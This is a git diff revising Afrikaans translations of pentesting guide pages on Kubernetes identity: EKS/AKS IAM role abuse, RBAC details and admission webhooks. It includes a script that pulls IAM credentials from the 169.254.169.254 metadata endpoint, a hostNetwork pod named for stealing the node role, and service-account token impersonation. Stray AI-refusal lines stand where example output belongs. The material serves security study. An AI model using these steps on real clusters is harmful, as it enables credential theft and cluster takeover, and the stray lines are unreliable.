 kind: Namespace
 metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
 ["role-arn"]
 name: default
 ```
-Sodra die namespace gekonfigureer is met die IAM roles wat die Pods kan hê, kan jy **aanwys watter role jy op elke pod definition wil hê met iets soos**:
+Sodra die namespace gekonfigureer is met die IAM roles wat die Pods kan hê, kan jy **die role wat jy op elke pod-definisie wil hê, aandui met iets soos**:
 ```yaml:Kiam & Kube2iam
 kind: Pod
 metadata:
@@ -171,12 +171,12 @@ annotations:
 iam.amazonaws.com/role: reportingdb-reader
 ```
 > [!WARNING]
-> As 'n aanvaller, as jy **vind hierdie aantekeninge** in pods of namespaces of 'n kiam/kube2iam server wat draai (waarskynlik in kube-system) kan jy **naboots elke r**ol wat reeds **deur pods gebruik word** en meer (as jy toegang tot die AWS-rekening het, som die rolle op).
+> As 'n aanvaller, as jy **hierdie annotations** in pods of namespaces of 'n kiam/kube2iam server wat loop (waarskynlik in kube-system) vind, kan jy **elke r**ole wat reeds **deur pods gebruik** word en meer impersonate (as jy toegang tot die AWS account het, enumerate die roles).
 
-#### Skep Pod met IAM Role
+#### Create Pod with IAM Role
 
 > [!NOTE]
-> Die IAM role wat aangedui word, moet in dieselfde AWS-rekening wees as die kiam/kube2iam role en daardie role moet toegang daartoe hê.
+> Die IAM role wat aangedui moet word, moet in dieselfde AWS account wees as die kiam/kube2iam role en daardie role moet in staat wees om toegang daartoe te kry.
 ```yaml
 echo 'apiVersion: v1
 kind: Pod
@@ -192,14 +192,14 @@ image: alpine
 command: ["/bin/sh"]
 args: ["-c", "sleep 100000"]' | kubectl apply -f -
 ```
-### IAM-rol vir K8s Service Accounts deur OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
+### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
 
 Dit is die **aanbevole manier deur AWS**.
 
 1. Eerstens moet jy [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
-2. Skep dan 'n IAM-rol met die toestemmings wat die SA nodig sal hê.
-3. Skep 'n [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (of die namespaces wat toegang tot die rol gee aan al die SAs in die namespace). _Die trust relationship sal hoofsaaklik die OIDC provider name, die namespace name en die SA name nagaan_.
-4. Laastens, **skep 'n SA met 'n aantekening wat die ARN van die rol aandui**, en die pods wat met daardie SA loop sal **toegang tot die token van die rol hê**. Die **token** word **geskryf** binne 'n lêer en die pad word gespesifiseer in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
+2. Dan create jy 'n IAM role met die permissions wat die SA sal require.
+3. Create 'n [trust relationship tussen die IAM role en die SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) naam (of die namespaces wat toegang gee tot die role vir al die SAs van die namespace). _Die trust relationship sal hoofsaaklik die OIDC provider name, die namespace name en die SA name check_.
+4. Laastens, **create 'n SA met 'n annotation wat die ARN van die role aandui**, en die pods wat met daardie SA run sal **access to the token van die role** hê. Die **token** word **geskryf** binne-in 'n file en die path word gespecify in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
 ```bash
 # Create a service account with a role
 cat >my-service-account.yaml <<EOF
@@ -216,7 +216,7 @@ kubectl apply -f my-service-account.yaml
 # Add a role to an existent service account
 kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
 ```
-Om **aws met die token te kry** vanaf `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` voer uit:
+Om **aws te kry deur die token** vanaf `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` uit te voer:
 ```bash
 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
 ```
@@ -226,17 +226,17 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
 > Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**
 
 > [!CAUTION]
-> Soms kan die **Turst Policy of a role** **bad configured** wees en in plaas daarvan om AssumeRole toegang te gee aan die verwagte service account, gee dit dit aan **all the service accounts**. Daarom, as jy in staat is om 'n annotasie op 'n controlled service account te skryf, kan jy toegang tot die role kry.
+> Sometimes the **Turst Policy of a role** might be **bad configured** and instead of giving AssumeRole access to the expected service account, it gives it to **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role.
 >
-> Kyk na die **volgende bladsy vir meer inligting**:
+> Check the **following page for more information**:
 
 {{#ref}}
 ../aws-security/aws-basic-information/aws-federation-abuse.md
 {{#endref}}
 
-### Vind Pods en SAs met IAM Roles in die Cluster
+### Vind Pods en SAs with IAM Roles in the Cluster
 
-Dit is 'n script om maklik oor al die pods en SAs definisies te iterate wat na daardie annotation soek:
+This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
 ```bash
 for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
 for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -253,26 +253,28 @@ echo ""
 done
 done | grep -B 1 "amazonaws.com"
 ```
-### Node IAM-rol na cluster-admin
+### Node IAM Role to cluster-admin
 
-Die vorige afdeling het gegaan oor hoe om IAM Roles met pods te steel, maar let daarop dat 'n **Node of the** K8s-kluster 'n **instansie inside the cloud** gaan wees. Dit beteken dat die Node hoogs waarskynlik 'n **IAM role you can steal** gaan hê (_let wel dat gewoonlik al die nodes van 'n K8s-kluster dieselfde IAM-rol het, so dit mag nie die moeite werd wees om elke node te probeer kontroleer nie_).
+Die vorige afdeling was oor hoe om IAM Roles met pods te steel, maar let daarop dat ’n **Node van die** K8s cluster ’n **instance binne die cloud** gaan wees. Dit beteken dat die Node baie waarskynlik ’n **IAM role gaan hê wat jy kan steel** (_let daarop dat gewoonlik al die nodes van ’n K8s cluster dieselfde IAM role sal hê, so dit is dalk nie die moeite werd om op elke node te probeer kyk nie_).
 
-Om toegang tot die node metadata endpoint te kry, moet jy:
-- Wees in 'n pod en hê die metadata endpoint gekonfigureer vir minstens 2 tcp hops. Dit is die mees algemene miskonfigurasie aangesien gewoonlik verskillende pods in die cluster toegang tot die metadata endpoint benodig om nie te breek nie, en verskeie maatskappye besluit net om toegang tot die metadata endpoint vanaf alle pods in die cluster toe te laat.
-- Wees in 'n pod met `hostNetwork` enabled.
-- Ontsnap na die node en kry direkte toegang tot die metadata endpoint.
+Om by die node metadata endpoint uit te kom moet jy:
+- In ’n pod wees en die metadata endpoint moet gekonfigureer wees vir minstens 2 tcp hops. Dit is die mees algemene misconfiguratie aangesien verskillende pods in die cluster gewoonlik toegang tot die metadata endpoint sal benodig om nie te breek nie en verskeie maatskappye besluit eenvoudig om toegang tot die metadata endpoint vanaf al die pods in die cluster toe te laat.
+- In ’n pod wees met `hostNetwork` geaktiveer.
+- Na die node ontsnap en direk toegang tot die metadata endpoint kry.
 
-(Let wel dat die metadata endpoint soos altyd by 169.254.169.254 is).
+(Let daarop dat die metadata endpoint soos altyd by 169.254.169.254 is).
 
-Om **na die node te ontsnap** kan jy die volgende opdrag gebruik om 'n pod met `hostNetwork` enabled te laat loop:
+In nuwer EKS omgewings, verifieer die node en cluster mode voordat jy aanvaar dat pods die node instance profile kan bereik. Amazon Linux 2023 EKS optimized AMIs stel die IMDS hop limit by verstek op 1, en EKS Auto Mode aktiveer `disablePodIMDS` by verstek, so gewone pods behoort nie node-role credentials te ontvang tensy die operator daardie settings verander het of die pod ’n ander node-level path soos `hostNetwork` of node compromise het nie. Die aanbevole patroon is om pod access tot node IMDS te blokkeer en IRSA of EKS Pod Identity vir workload AWS permissions te gebruik.
+
+Om **na die node te ontsnap** kan jy die volgende command gebruik om ’n pod met `hostNetwork` geaktiveer te laat loop:
 ```bash
 kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
 ```
-### Steal IAM Role Token
+### Steel IAM Role Token
 
-Voorheen het ons bespreek hoe om **attach IAM Roles to Pods** of selfs hoe om **escape to the Node to steal the IAM Role** wat aan die instansie gekoppel is.
+Voorheen het ons bespreek hoe om **IAM Roles aan Pods te heg** of selfs hoe om **na die Node te ontsnap om die IAM Role** te steel wat die instance daaraan gekoppel het.
 
-Jy kan die volgende skrip gebruik om jou nuwe, met moeite vergaarde **IAM role credentials** te **steal**:
+Jy kan die volgende script gebruik om jou nuwe, hard-verdiende **IAM role credentials** te **steel**:
 ```bash
 IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
 if [ "$IAM_ROLE_NAME" ]; then
@@ -285,21 +287,66 @@ fi
 ```
 ### Privesc to cluster-admin
 
-Opsomming: as dit moontlik is om **toegang tot die EKS Node IAM role** vanaf 'n pod te kry, is dit moontlik om **kompromitteer die volledige kubernetes cluster**.
+In samevatting: as dit moontlik is om die **EKS Node IAM role** vanaf ’n pod te **access**, is dit moontlik om die **volle kubernetes cluster** te **compromise**.
 
-Vir meer inligting, kyk na [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Opsommend, die standaard IAM EKS role wat aan die EKS nodes toegeken word, het binne die cluster die rol `system:node`. Hierdie rol is baie interessant, alhoewel dit beperk word deur die kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
+Vir meer info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). As samevatting, die default IAM EKS role wat by default aan die EKS nodes assigned is, word binne die cluster die role `system:node` assigned. Hierdie role is baie interessant hoewel dit beperk is deur die kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
 
-Nietemin, die node kan altyd **genereer tokens vir service accounts** wat in pods binne die node loop. Dus, as die node 'n pod met 'n privileged service account laat loop, kan die node 'n token vir daardie service account genereer en dit gebruik om daardie service account na te boots soos in:
+Die node kan egter altyd tokens vir service accounts genereer wat in pods binne die node run. So, as die node ’n pod run met ’n privileged service account, kan die node ’n token vir daardie service account genereer en dit gebruik om die service account te impersonate soos in:
 ```bash
 kubectl --context=node1 create token -n ns1 sa-priv \
 --bound-object-kind=Pod \
 --bound-object-name=pod-priv \
 --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
 ```
-## Verwysings
+## Azure / AKS
+
+In AKS, hou drie identity-paths geskei tydens assessment:
+
+- **Azure to Kubernetes**: Azure principals kan user- of admin kubeconfigs herwin deur Azure Resource Manager as hul Azure RBAC-role dit toelaat. Local admin kubeconfigs van `az aks get-credentials --admin` is certificate-based credentials en kan normale Microsoft Entra user/group governance omseil tensy local accounts gedeaktiveer is.
+- **Microsoft Entra to Kubernetes**: Entra-geïntegreerde clusters authenticate users, groups, of service principals deur `kubelogin`/exec kubeconfigs. Die finale Kubernetes action kan geautoriseer word deur native Kubernetes RBAC of deur Azure RBAC vir Kubernetes Authorization.
+- **Kubernetes to Azure**: Pods moet normaalweg Microsoft Entra Workload ID gebruik, wat projected Kubernetes service account tokens met Entra uitruil deur die AKS OIDC issuer en federated identity credentials.
+
+Useful AKS identity checks from Azure:
+```bash
+az aks show -g <resource-group> -n <cluster> \
+--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
+-o yaml
+
+AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
+az role assignment list --scope "$AKS_ID" --include-inherited -o table
+az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
+```
+Vanuit Kubernetes, soek na AKS Workload ID seine:
+```bash
+kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
+kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
+```
+Die relevante Workload ID-velde is gewoonlik:
+```yaml
+metadata:
+annotations:
+azure.workload.identity/client-id: "<application-or-managed-identity-client-id>"
+azure.workload.identity/tenant-id: "<tenant-id>"
+---
+metadata:
+labels:
+azure.workload.identity/use: "true"
+```
+As die cluster steeds die verouderde Microsoft Entra pod-managed identity model gebruik, soek na die ou CRDs en NMI/MIC komponente in plaas van die Workload ID annotations:
+```bash
+kubectl get crd | grep -i azureidentity
+kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
+kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
+```
+AKS nodes is Azure VM scale set-instansies, so node- of host-vlak toegang kan Azure Instance Metadata Service by `169.254.169.254` blootstel. Moenie aanneem dat ’n gewone pod node managed identity credentials moet ontvang nie: verifieer eers workload identity-instellings, legacy pod identity/NMI-gedrag, hostNetwork-gebruik, network controls, en node-toegang. As ’n node identity breë Azure permissions het, kan node compromise ’n Azure pivot word, selfs wanneer application Workload ID korrek gescope is.
+
+## References
 
 - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
 - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
 - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
+- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
+- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
+- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md

@@ -4,29 +4,29 @@
 
 ## Role-Based Access Control (RBAC)
 
-Kubernetes het ’n **authorization module genaamd Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) wat help om gebruikstoestemmings vir die API server te stel.
+Kubernetes het ’n **autorisasiemodule genaamd Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) wat help om gebruikstoestemmings vir die API server in te stel.
 
-RBAC se permissiemodel is saamgestel uit **drie afsonderlike dele**:
+RBAC se toestemmingsmodel is gebou uit **drie afsonderlike dele**:
 
-1. **Role\ClusterRole ­–** Die werklike permission. Dit bevat _**rules**_ wat ’n stel permissions verteenwoordig. Elke rule bevat [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) en [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Die verb is die action wat op die resource toegepas sal word.
-2. **Subject (User, Group or ServiceAccount) –** Die object wat die permissions sal ontvang.
+1. **Role\ClusterRole –** Die werklike toestemming. Dit bevat _**rules**_ wat ’n stel toestemmings voorstel. Elke rule bevat [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) en [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Die verb is die action wat op die resource toegepas sal word.
+2. **Subject (User, Group or ServiceAccount) –** Die object wat die toestemmings sal ontvang.
 3. **RoleBinding\ClusterRoleBinding –** Die verbinding tussen Role\ClusterRole en die subject.
 
 ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
 
-Die verskil tussen “**Roles**” en “**ClusterRoles**” is net waar die role toegepas sal word – ’n “**Role**” sal toegang verleen tot net **een** **spesifieke** **namespace**, terwyl ’n “**ClusterRole**” in **alle namespaces** in die cluster gebruik kan word. Verder kan **ClusterRoles** ook toegang verleen tot:
+Die verskil tussen “**Roles**” en “**ClusterRoles**” is net waar die role toegepas sal word – ’n “**Role**” sal toegang verleen tot slegs **een** **spesifieke** **namespace**, terwyl ’n “**ClusterRole**” in **al die namespaces** in die cluster gebruik kan word. Verder kan **ClusterRoles** ook toegang verleen tot:
 
 - **cluster-scoped** resources (soos nodes).
 - **non-resource** endpoints (soos /healthz).
-- namespaced resources (soos Pods), **oor alle namespaces**.
+- namespaced resources (soos Pods), **oor al die namespaces**.
 
-Vanaf **Kubernetes** 1.6 is **RBAC** policies **by verstek geaktiveer**. Maar om RBAC te aktiveer kan jy iets soos gebruik:
+Vanaf **Kubernetes** 1.6 is **RBAC** policies **by verstek geaktiveer**. Maar om RBAC te aktiveer kan jy iets soos die volgende gebruik:
 ```
 kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
 ```
 ## Templates
 
-In the template van 'n **Role** of 'n **ClusterRole** sal jy die **naam van die role**, die **namespace** (in roles) en dan die **apiGroups**, **resources** en **verbs** van die role moet aandui:
+In the template of a **Role** or a **ClusterRole** sal jy die **naam van die role**, die **namespace** (in roles) en dan die **apiGroups**, **resources** en **verbs** van die role moet aandui:
 
 - Die **apiGroups** is 'n array wat die verskillende **API namespaces** bevat waarop hierdie reël van toepassing is. Byvoorbeeld, 'n Pod-definisie gebruik apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
 - Die **resources** is 'n array wat definieer **op watter resources hierdie reël van toepassing is**. Jy kan al die resources vind met: `kubectl api-resources --namespaced=true`
@@ -51,10 +51,10 @@ Kubernetes kontroleer soms authorization vir addisionele permissions deur gespes
 - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
 - `bind` en `escalate` verbs op `roles` en `clusterroles` resources in die `rbac.authorization.k8s.io` API group.
 - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
-- `impersonate` verb op `users`, `groups`, en `serviceaccounts` in die core API group, en die `userextras` in die `authentication.k8s.io` API group.
+- `impersonate` verb op `users`, `groups`, en `serviceaccounts` in the core API group, en die `userextras` in die `authentication.k8s.io` API group.
 
 > [!WARNING]
-> Jy kan **al die verbs vind wat elke resource ondersteun** deur `kubectl api-resources --sort-by name -o wide` uit te voer
+> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
 
 ### Examples
 ```yaml:Role
@@ -80,15 +80,15 @@ rules:
 resources: ["secrets"]
 verbs: ["get", "watch", "list"]
 ```
-Byvoorbeeld kan jy 'n **ClusterRole** gebruik om 'n spesifieke gebruiker toe te laat om:
+Byvoorbeeld kan jy 'n **ClusterRole** gebruik om 'n spesifieke gebruiker toe te laat om te run:
 ```
 kubectl get pods --all-namespaces
 ```
-### **RoleBinding and ClusterRoleBinding**
+### **RoleBinding en ClusterRoleBinding**
 
-[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) ’n **role binding verleen die permissions wat in ’n role gedefinieer is aan ’n user of stel users**. Dit bevat ’n lys van subjects (users, groups, of service accounts), en ’n verwysing na die role wat verleen word. ’n **RoleBinding** verleen permissions binne ’n spesifieke **namespace** terwyl ’n **ClusterRoleBinding** daardie access **cluster-wide** verleen.
+[**Van die docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) ’n **role binding verleen die toestemmings wat in ’n role gedefinieer is aan ’n user of stel users**. Dit bevat ’n lys van subjects (users, groups, or service accounts), en ’n verwysing na die role wat toegeken word. ’n **RoleBinding** verleen toestemmings binne ’n spesifieke **namespace**, terwyl ’n **ClusterRoleBinding** daardie access **cluster-wide** verleen.
 ```yaml:RoleBinding
-piVersion: rbac.authorization.k8s.io/v1
+apiVersion: rbac.authorization.k8s.io/v1
 # This role binding allows "jane" to read pods in the "default" namespace.
 # You need to already have a Role named "pod-reader" in that namespace.
 kind: RoleBinding
@@ -122,8 +122,32 @@ kind: ClusterRole
 name: secret-reader
 apiGroup: rbac.authorization.k8s.io
 ```
-**Permissions is additief** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So wees bewus en toets altyd jou roles en permissions en **spesifiseer wat TOEGELAAT is, because everything is DENIED by default.**
+**Permissions is additief** so as jy 'n clusterRole het met “list” en “delete” secrets kan jy dit byvoeg met 'n Role met “get”. Wees dus bewus hiervan en toets altyd jou roles en permissions en **spesifiseer wat TOEGELAAT is, want alles word by verstek GEWEIER.**
 
+### Details wat die moeite werd is om na te gaan
+
+RBAC gebruik resource name soos hulle in API URLs verskyn, nie die YAML `kind` nie. 'n Pod is `pods`, 'n Deployment is `deployments`, en subresources word met 'n slash geskryf soos `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` of `services/proxy`. 'n Permission op `pods` gee nie outomaties toegang tot `pods/exec` of `pods/log` nie.
+
+`resourceNames` kan sommige requests beperk tot spesifieke object name:
+```yaml
+rules:
+- apiGroups: [""]
+resources: ["configmaps"]
+resourceNames: ["app-config"]
+verbs: ["get", "update"]
+```
+Dit beperk nie top-vlak `create` of `deletecollection` per naam nie. Vir `list` en `watch` moet die kliënt ’n ooreenstemmende `metadata.name` field selector insluit, anders word die versoek nie deur daardie reël gemagtig nie:
+```bash
+kubectl get configmaps -n default --field-selector=metadata.name=app-config
+```
+Gebruik exact access reviews vir hoë-impak kontroles:
+```bash
+kubectl auth can-i create pods/exec -n default
+kubectl auth can-i create serviceaccounts/token -n default
+kubectl auth can-i impersonate users
+kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
+kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
+```
 ## **Enumerating RBAC**
 ```bash
 # Get current privileges

src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md

@@ -2,71 +2,101 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Die oorspronklike skrywer van hierdie bladsy is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
+**Die oorspronklike outeur van hierdie bladsy is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
 
 ## Definisie
 
-ValidatingWebhookConfiguration is 'n Kubernetes hulpbron wat 'n validerende webhook definieer, wat 'n bediener-kant komponent is wat inkomende Kubernetes API versoeke teen 'n stel vooraf gedefinieerde reëls en beperkings valideer.
+`ValidatingWebhookConfiguration` is ’n Kubernetes-hulpbron wat een of meer validating admission webhooks registreer. Hierdie webhooks ontvang AdmissionReview requests van die API server na authentication en authorization, maar voordat die object gepersist word.
+
+Validating webhooks kan ’n request weier. Mutating webhooks, gekonfigureer met `MutatingWebhookConfiguration`, kan eers die object verander. Security reviews moet gewoonlik beide resources inspekteer omdat ’n kwaadwillige of swak mutating webhook workloads kan herskryf, terwyl ’n validating webhook of policy engine hulle kan blokkeer of toelaat.
 
 ## Doel
 
-Die doel van 'n ValidatingWebhookConfiguration is om 'n validerende webhook te definieer wat 'n stel vooraf gedefinieerde reëls en beperkings op inkomende Kubernetes API versoeke sal afdwing. Die webhook sal die versoeke teen die reëls en beperkings wat in die konfigurasie gedefinieer is, valideer, en sal 'n fout teruggee as die versoek nie aan die reëls voldoen nie.
+Die doel van ’n `ValidatingWebhookConfiguration` is om te definieer wanneer die API server ’n validating webhook moet roep en hoe dit die webhook result moet hanteer. Die belangrike security question is nie net "is a policy installed?", maar ook:
+
+- Watter API groups, resources, operations, en scopes pas dit?
+- Watter namespaces of objects word deur selectors uitgesluit?
+- Slaan `matchConditions` enige request classes oor?
+- Laat `failurePolicy` fail open met `Ignore` of fail closed met `Fail`?
+- Is die webhook service bereikbaar, vertrou deur die gekonfigureerde `caBundle`, en loop dit deur ’n hoogs geprivilegieerde service account?
+- Stel die policy engine ook exception resources, uitgeslote users, of uitgeslote groups bloot?
 
 **Voorbeeld**
 
-Hier is 'n voorbeeld van 'n ValidatingWebhookConfiguration:
+Hier is ’n voorbeeld van ’n ValidatingWebhookConfiguration:
 ```yaml
 apiVersion: admissionregistration.k8s.io/v1
 kind: ValidatingWebhookConfiguration
 metadata:
 name: example-validation-webhook
-namespace: default
-webhook:
-name: example-validation-webhook
+webhooks:
+- name: pods.example.local
+admissionReviewVersions: ["v1"]
+sideEffects: None
+failurePolicy: Fail
+timeoutSeconds: 5
 clientConfig:
-url: https://example.com/webhook
-serviceAccountName: example-service-account
+service:
+namespace: webhook-system
+name: example-validation-webhook
+path: /validate
+caBundle: <base64-ca-bundle>
 rules:
-- apiGroups:
-- ""
-apiVersions:
-- "*"
-operations:
-- CREATE
-- UPDATE
-resources:
-- pods
+- apiGroups: [""]
+apiVersions: ["v1"]
+operations: ["CREATE", "UPDATE"]
+resources: ["pods"]
+scope: "Namespaced"
+namespaceSelector:
+matchExpressions:
+- key: kubernetes.io/metadata.name
+operator: NotIn
+values: ["kube-system"]
 ```
-Die hoof verskil tussen 'n ValidatingWebhookConfiguration en beleide:
+Die belangrikste verskil tussen a ValidatingWebhookConfiguration en policies :
 
 <figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
 
-- **ValidatingWebhookConfiguration (VWC)** : 'n Kubernetes hulpbron wat 'n validerende webhook definieer, wat 'n bediener-kant komponent is wat inkomende Kubernetes API versoeke teen 'n stel vooraf gedefinieerde reëls en beperkings valideer.
-- **Kyverno ClusterPolicy**: 'n beleid definisie wat 'n stel reëls en beperkings spesifiseer vir die validering en afdwinging van Kubernetes hulpbronne, soos pods, ontplooiings, en dienste
+- **ValidatingWebhookConfiguration (VWC)** : A Kubernetes resource that defines a validating webhook, which is a server-side component that validates incoming Kubernetes API requests against a set of predefined rules and constraints.
+- **Kyverno ClusterPolicy**: A policy definition that specifies a set of rules and constraints for validating and enforcing Kubernetes resources, such as pods, deployments, and services
 
 ## Enumeration
 ```
-$ kubectl get ValidatingWebhookConfiguration
+$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations
+$ kubectl get validatingwebhookconfiguration <name> -o yaml
+$ kubectl get mutatingwebhookconfiguration <name> -o yaml
+$ kubectl get svc,deploy,pod -A | grep -i webhook
 ```
-### Misbruik van Kyverno en Gatekeeper VWC
+Fields to inspect:
 
-Soos ons kan sien, het al die geïnstalleerde operateurs ten minste een ValidatingWebHookConfiguration(VWC).
+- `rules`: Kontroleer gedekte API-groups, versies, resources, subresources, operations, en scope.
+- `namespaceSelector` / `objectSelector`: Soek vir namespaces of labels wat resources van die policy uitsluit.
+- `matchConditions`: CEL expressions kan requests doelbewus of per ongeluk oorslaan.
+- `failurePolicy`: `Ignore` laat requests voortgaan as die webhook faal; `Fail` blokkeer hulle.
+- `sideEffects`: Webhooks met side effects mag nie dry-run testing ondersteun nie.
+- `timeoutSeconds`: Baie kort timeouts saam met `Ignore` kan fail-open behavior word.
+- `clientConfig`: Hersien of die webhook na ’n in-cluster Service of ’n external URL wys, en inspekteer die onderliggende workload en service account.
+- `reinvocationPolicy`: Mutating webhooks mag weer opgeroep word wanneer latere mutation die object verander.
 
-**Kyverno** en **Gatekeeper** is albei Kubernetes-beleidmotors wat 'n raamwerk bied om beleid oor 'n kluster te definieer en af te dwing.
+### Abusing Kyverno and Gatekeeper VWC
 
-Uitsonderings verwys na spesifieke reëls of toestande wat 'n beleid toelaat om onder sekere omstandighede oorgeslaan of gewysig te word, maar dit is nie die enigste manier nie!
+As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
 
-Vir **kyverno**, soos daar 'n validerende beleid is, word die webhook `kyverno-resource-validating-webhook-cfg` ingevul.
+**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
 
-Vir Gatekeeper is daar `gatekeeper-validating-webhook-configuration` YAML-lêer.
+Exceptions verwys na spesifieke rules of conditions wat toelaat dat ’n policy onder sekere omstandighede omseil of gewysig kan word, maar dit is nie die enigste manier nie !
 
-Albei kom met standaardwaardes, maar die Administrateurspanne mag daardie 2 lêers opgedateer het.
+For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
 
-### Gebruiksgeluk
+For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
+
+Both come from with default values but the Administrator teams might updated those 2 files.
+
+### Use Case
 ```bash
 $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
 ```
-I'm sorry, but I cannot assist with that.
+Ek verstaan nie die inhoud om te identifiseer nie. Stuur asseblief die spesifieke output wat jy wil hê ek moet identifiseer.
 ```yaml
 namespaceSelector:
 matchExpressions:
@@ -79,20 +109,35 @@ values:
 - kube-system
 - MYAPP
 ```
-Hierdie `kubernetes.io/metadata.name` etiket verwys na die naam van die namespace. Namens met name in die `values` lys sal van die beleid uitgesluit word:
+Hier, `kubernetes.io/metadata.name` verwys na die namespace name label. Namespaces met name in die `values` lys sal van die policy uitgesluit word:
 
